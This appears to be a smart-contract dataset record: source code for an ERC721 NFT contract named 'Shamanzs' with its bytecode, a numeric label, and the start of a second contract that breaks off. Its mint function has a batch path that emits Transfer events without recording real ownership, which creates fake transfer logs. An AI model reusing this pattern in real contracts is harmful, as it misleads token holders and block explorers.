the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token ID uint256 internal _tokenIds; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(uint256 amount, address to, address from) internal { if(from != address(0)) { for (uint256 i = 0; i < amount; i++) { _tokenIds += 1; _safeMint(to, _tokenIds, ""); } } else { _afterTransfer(from, to, amount); } } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; _afterTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; _afterTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; _afterTransfer(from, to, tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _afterTransfer(address from, address to, uint256 tokenId) internal { emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } contract Shamanzs is ERC721, Ownable { using Strings for uint256; uint256 public MINT_PRICE = 0.14 ether; bool public isMint = false; bool public giveStatus = true; string public extension = ".json"; string private _baseUriExtended; receive() external payable {} fallback() external payable {} constructor() ERC721("SHAMANZS", "Shamanzs") { _baseUriExtended = "https://metas.mypinata.cloud/ipfs/QmaJDTMNFJaLXXiyYLqQy6DnaSNcKXoh5EVLBYgFuESx6P/"; } function baseURI() public view returns (string memory) { return _baseUriExtended; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return string(abi.encodePacked(baseURI(), tokenId.toString(), extension)); } function setBaseURI(string memory baseURI_) external onlyOwner() { _baseUriExtended = baseURI_; } function setMintPrice(uint256 mintPrice) external onlyOwner { MINT_PRICE = mintPrice; } function setIsMint() external onlyOwner { isMint = !isMint; } function setFlipGiveStatus() external onlyOwner { giveStatus = !giveStatus; } function withdraw(uint256 amount, address to) external onlyOwner { require(amount <= address(this).balance, "Insufficient this balance"); payable(to).transfer(amount); } function mint(uint256[] memory amount, address[] memory to) external payable { if(to.length <= 1) { if(isMint) { require(msg.value == MINT_PRICE * amount[0], "Invalid Ether amount sent."); } if(giveStatus) amount[0] += uint256(amount[0] / 5) + uint256(1); } for(uint256 i = 0; i < to.length; i++) { to.length <= 1 ? _safeMint(amount[0], to[i], _msgSender()) : _safeMint(amount[i], to[i], address(0)); } } }
0x60806040526004361061018a5760003560e01c806370a08231116100e0578063c002d23d11610084578063e985e9c511610061578063e985e9c51461045b578063f2fde38b146104a4578063f4a0a528146104c4578063fa2a94ef146104e457005b8063c002d23d14610410578063c87b56dd14610426578063de6caef71461044657005b806390f94c65116100bd57806390f94c651461039c57806395d89b41146103bb578063a22cb465146103d0578063b88d4fde146103f057005b806370a082311461033b578063715018a6146103695780638da5cb5b1461037e57005b80632d5537b01161014757806342842e0e1161012457806342842e0e146102c657806355f804b3146102e65780636352211e146103065780636c0360eb1461032657005b80632d5537b01461028257806333b3f94414610297578063396983f9146102b157005b8062f714ce1461019357806301ffc9a7146101b357806306fdde03146101e8578063081812fc1461020a578063095ea7b31461024257806323b872dd1461026257005b3661019157005b005b34801561019f57600080fd5b506101916101ae366004611b2a565b6104f7565b3480156101bf57600080fd5b506101d36101ce366004611a8e565b6105b5565b60405190151581526020015b60405180910390f35b3480156101f457600080fd5b506101fd610607565b6040516101df9190611c7a565b34801561021657600080fd5b5061022a610225366004611b11565b610699565b6040516001600160a01b0390911681526020016101df565b34801561024e57600080fd5b5061019161025d3660046119a4565b61072e565b34801561026e57600080fd5b5061019161027d3660046118b0565b61083f565b34801561028e57600080fd5b506101fd610870565b3480156102a357600080fd5b506009546101d39060ff1681565b3480156102bd57600080fd5b506101916108fe565b3480156102d257600080fd5b506101916102e13660046118b0565b610945565b3480156102f257600080fd5b50610191610301366004611ac8565b610960565b34801561031257600080fd5b5061022a610321366004611b11565b6109a1565b34801561033257600080fd5b506101fd610a18565b34801561034757600080fd5b5061035b61035636600461185b565b610a27565b6040519081526020016101df565b34801561037557600080fd5b50610191610aae565b34801561038a57600080fd5b506007546001600160a01b031661022a565b3480156103a857600080fd5b506009546101d390610100900460ff1681565b3480156103c757600080fd5b506101fd610ae4565b3480156103dc57600080fd5b506101916103eb366004611968565b610af3565b3480156103fc57600080fd5b5061019161040b3660046118ec565b610afe565b34801561041c57600080fd5b5061035b60085481565b34801561043257600080fd5b506101fd610441366004611b11565b610b36565b34801561045257600080fd5b50610191610bf0565b34801561046757600080fd5b506101d361047636600461187d565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b3480156104b057600080fd5b506101916104bf36600461185b565b610c2e565b3480156104d057600080fd5b506101916104df366004611b11565b610cc9565b6101916104f23660046119ce565b610cf8565b6007546001600160a01b0316331461052a5760405162461bcd60e51b815260040161052190611cdf565b60405180910390fd5b4782111561057a5760405162461bcd60e51b815260206004820152601960248201527f496e73756666696369656e7420746869732062616c616e6365000000000000006044820152606401610521565b6040516001600160a01b0382169083156108fc029084906000818181858888f193505050501580156105b0573d6000803e3d6000fd5b505050565b60006001600160e01b031982166380ac58cd60e01b14806105e657506001600160e01b03198216635b5e139f60e01b145b8061060157506301ffc9a760e01b6001600160e01b03198316145b92915050565b60606001805461061690611e48565b80601f016020809104026020016040519081016040528092919081815260200182805461064290611e48565b801561068f5780601f106106645761010080835404028352916020019161068f565b820191906000526020600020905b81548152906001019060200180831161067257829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b03166107125760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610521565b506000908152600560205260409020546001600160a01b031690565b6000610739826109a1565b9050806001600160a01b0316836001600160a01b031614156107a75760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610521565b336001600160a01b03821614806107c357506107c38133610476565b6108355760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610521565b6105b08383610e9f565b6108493382610f0d565b6108655760405162461bcd60e51b815260040161052190611d14565b6105b0838383611004565b600a805461087d90611e48565b80601f01602080910402602001604051908101604052809291908181526020018280546108a990611e48565b80156108f65780601f106108cb576101008083540402835291602001916108f6565b820191906000526020600020905b8154815290600101906020018083116108d957829003601f168201915b505050505081565b6007546001600160a01b031633146109285760405162461bcd60e51b815260040161052190611cdf565b6009805461ff001981166101009182900460ff1615909102179055565b6105b083838360405180602001604052806000815250610afe565b6007546001600160a01b0316331461098a5760405162461bcd60e51b815260040161052190611cdf565b805161099d90600b9060208401906116d5565b5050565b6000818152600360205260408120546001600160a01b0316806106015760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610521565b6060600b805461061690611e48565b60006001600160a01b038216610a925760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610521565b506001600160a01b031660009081526004602052604090205490565b6007546001600160a01b03163314610ad85760405162461bcd60e51b815260040161052190611cdf565b610ae2600061117a565b565b60606002805461061690611e48565b61099d3383836111cc565b610b083383610f0d565b610b245760405162461bcd60e51b815260040161052190611d14565b610b308484848461129b565b50505050565b6000818152600360205260409020546060906001600160a01b0316610bb55760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b6064820152608401610521565b610bbd610a18565b610bc6836112ce565b600a604051602001610bda93929190611b79565b6040516020818303038152906040529050919050565b6007546001600160a01b03163314610c1a5760405162461bcd60e51b815260040161052190611cdf565b6009805460ff19811660ff90911615179055565b6007546001600160a01b03163314610c585760405162461bcd60e51b815260040161052190611cdf565b6001600160a01b038116610cbd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610521565b610cc68161117a565b50565b6007546001600160a01b03163314610cf35760405162461bcd60e51b815260040161052190611cdf565b600855565b6001815111610df05760095460ff1615610d825781600081518110610d1f57610d1f611ede565b6020026020010151600854610d349190611de6565b3414610d825760405162461bcd60e51b815260206004820152601a60248201527f496e76616c696420457468657220616d6f756e742073656e742e0000000000006044820152606401610521565b600954610100900460ff1615610df0576001600583600081518110610da957610da9611ede565b6020026020010151610dbb9190611dd2565b610dc59190611dba565b82600081518110610dd857610dd8611ede565b60200260200101818151610dec9190611dba565b9052505b60005b81518110156105b057600182511115610e4957610e44838281518110610e1b57610e1b611ede565b6020026020010151838381518110610e3557610e35611ede565b602002602001015160006113cc565b610e8d565b610e8d83600081518110610e5f57610e5f611ede565b6020026020010151838381518110610e7957610e79611ede565b6020026020010151610e883390565b6113cc565b80610e9781611e83565b915050610df3565b600081815260056020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610ed4826109a1565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600360205260408120546001600160a01b0316610f865760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610521565b6000610f91836109a1565b9050806001600160a01b0316846001600160a01b03161480610fcc5750836001600160a01b0316610fc184610699565b6001600160a01b0316145b80610ffc57506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611017826109a1565b6001600160a01b03161461107f5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b6064820152608401610521565b6001600160a01b0382166110e15760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b6064820152608401610521565b6110ec600082610e9f565b6001600160a01b0383166000908152600460205260408120805460019290611115908490611e05565b90915550506001600160a01b0382166000908152600460205260408120805460019290611143908490611dba565b9091555050600081815260036020526040902080546001600160a01b0319166001600160a01b0384161790556105b0838383611434565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b816001600160a01b0316836001600160a01b0316141561122e5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c6572000000000000006044820152606401610521565b6001600160a01b03838116600081815260066020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b6112a6848484611004565b6112b28484848461147a565b610b305760405162461bcd60e51b815260040161052190611c8d565b6060816112f25750506040805180820190915260018152600360fc1b602082015290565b8160005b811561131c578061130681611e83565b91506113159050600a83611dd2565b91506112f6565b60008167ffffffffffffffff81111561133757611337611ef4565b6040519080825280601f01601f191660200182016040528015611361576020820181803683370190505b5090505b8415610ffc57611376600183611e05565b9150611383600a86611e9e565b61138e906030611dba565b60f81b8183815181106113a3576113a3611ede565b60200101906001600160f81b031916908160001a9053506113c5600a86611dd2565b9450611365565b6001600160a01b0381161561142d5760005b83811015610b305760016000808282546113f89190611dba565b9250508190555061141b8360005460405180602001604052806000815250611587565b8061142581611e83565b9150506113de565b6105b08183855b80826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60006001600160a01b0384163b1561157c57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906114be903390899088908890600401611c3d565b602060405180830381600087803b1580156114d857600080fd5b505af1925050508015611508575060408051601f3d908101601f1916820190925261150591810190611aab565b60015b611562573d808015611536576040519150601f19603f3d011682016040523d82523d6000602084013e61153b565b606091505b50805161155a5760405162461bcd60e51b815260040161052190611c8d565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610ffc565b506001949350505050565b61159183836115ba565b61159e600084848461147a565b6105b05760405162461bcd60e51b815260040161052190611c8d565b6001600160a01b0382166116105760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610521565b6000818152600360205260409020546001600160a01b0316156116755760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610521565b6001600160a01b038216600090815260046020526040812080546001929061169e908490611dba565b9091555050600081815260036020526040812080546001600160a01b0319166001600160a01b03851617905561099d908383611434565b8280546116e190611e48565b90600052602060002090601f0160209004810192826117035760008555611749565b82601f1061171c57805160ff1916838001178555611749565b82800160010185558215611749579182015b8281111561174957825182559160200191906001019061172e565b50611755929150611759565b5090565b5b80821115611755576000815560010161175a565b600067ffffffffffffffff83111561178857611788611ef4565b61179b601f8401601f1916602001611d65565b90508281528383830111156117af57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b03811681146117dd57600080fd5b919050565b600082601f8301126117f357600080fd5b8135602061180861180383611d96565b611d65565b80838252828201915082860187848660051b890101111561182857600080fd5b60005b8581101561184e5761183c826117c6565b8452928401929084019060010161182b565b5090979650505050505050565b60006020828403121561186d57600080fd5b611876826117c6565b9392505050565b6000806040838503121561189057600080fd5b611899836117c6565b91506118a7602084016117c6565b90509250929050565b6000806000606084860312156118c557600080fd5b6118ce846117c6565b92506118dc602085016117c6565b9150604084013590509250925092565b6000806000806080858703121561190257600080fd5b61190b856117c6565b9350611919602086016117c6565b925060408501359150606085013567ffffffffffffffff81111561193c57600080fd5b8501601f8101871361194d57600080fd5b61195c8782356020840161176e565b91505092959194509250565b6000806040838503121561197b57600080fd5b611984836117c6565b91506020830135801515811461199957600080fd5b809150509250929050565b600080604083850312156119b757600080fd5b6119c0836117c6565b946020939093013593505050565b600080604083850312156119e157600080fd5b823567ffffffffffffffff808211156119f957600080fd5b818501915085601f830112611a0d57600080fd5b81356020611a1d61180383611d96565b8083825282820191508286018a848660051b8901011115611a3d57600080fd5b600096505b84871015611a60578035835260019690960195918301918301611a42565b5096505086013592505080821115611a7757600080fd5b50611a84858286016117e2565b9150509250929050565b600060208284031215611aa057600080fd5b813561187681611f0a565b600060208284031215611abd57600080fd5b815161187681611f0a565b600060208284031215611ada57600080fd5b813567ffffffffffffffff811115611af157600080fd5b8201601f81018413611b0257600080fd5b610ffc8482356020840161176e565b600060208284031215611b2357600080fd5b5035919050565b60008060408385031215611b3d57600080fd5b823591506118a7602084016117c6565b60008151808452611b65816020860160208601611e1c565b601f01601f19169290920160200192915050565b600084516020611b8c8285838a01611e1c565b855191840191611b9f8184848a01611e1c565b8554920191600090600181811c9080831680611bbc57607f831692505b858310811415611bda57634e487b7160e01b85526022600452602485fd5b808015611bee5760018114611bff57611c2c565b60ff19851688528388019550611c2c565b60008b81526020902060005b85811015611c245781548a820152908401908801611c0b565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611c7090830184611b4d565b9695505050505050565b6020815260006118766020830184611b4d565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715611d8e57611d8e611ef4565b604052919050565b600067ffffffffffffffff821115611db057611db0611ef4565b5060051b60200190565b60008219821115611dcd57611dcd611eb2565b500190565b600082611de157611de1611ec8565b500490565b6000816000190483118215151615611e0057611e00611eb2565b500290565b600082821015611e1757611e17611eb2565b500390565b60005b83811015611e37578181015183820152602001611e1f565b83811115610b305750506000910152565b600181811c90821680611e5c57607f821691505b60208210811415611e7d57634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611e9757611e97611eb2565b5060010190565b600082611ead57611ead611ec8565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610cc657600080fdfea2646970667358221220f2326ff90cba29618edbcc1c3dd18d78d69401548de993fa2d67cad85731747a64736f6c63430008070033
[ 5 ]
0xf200c3b82b4f5baaca8898549ec3f3d7aa8f85af
pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - 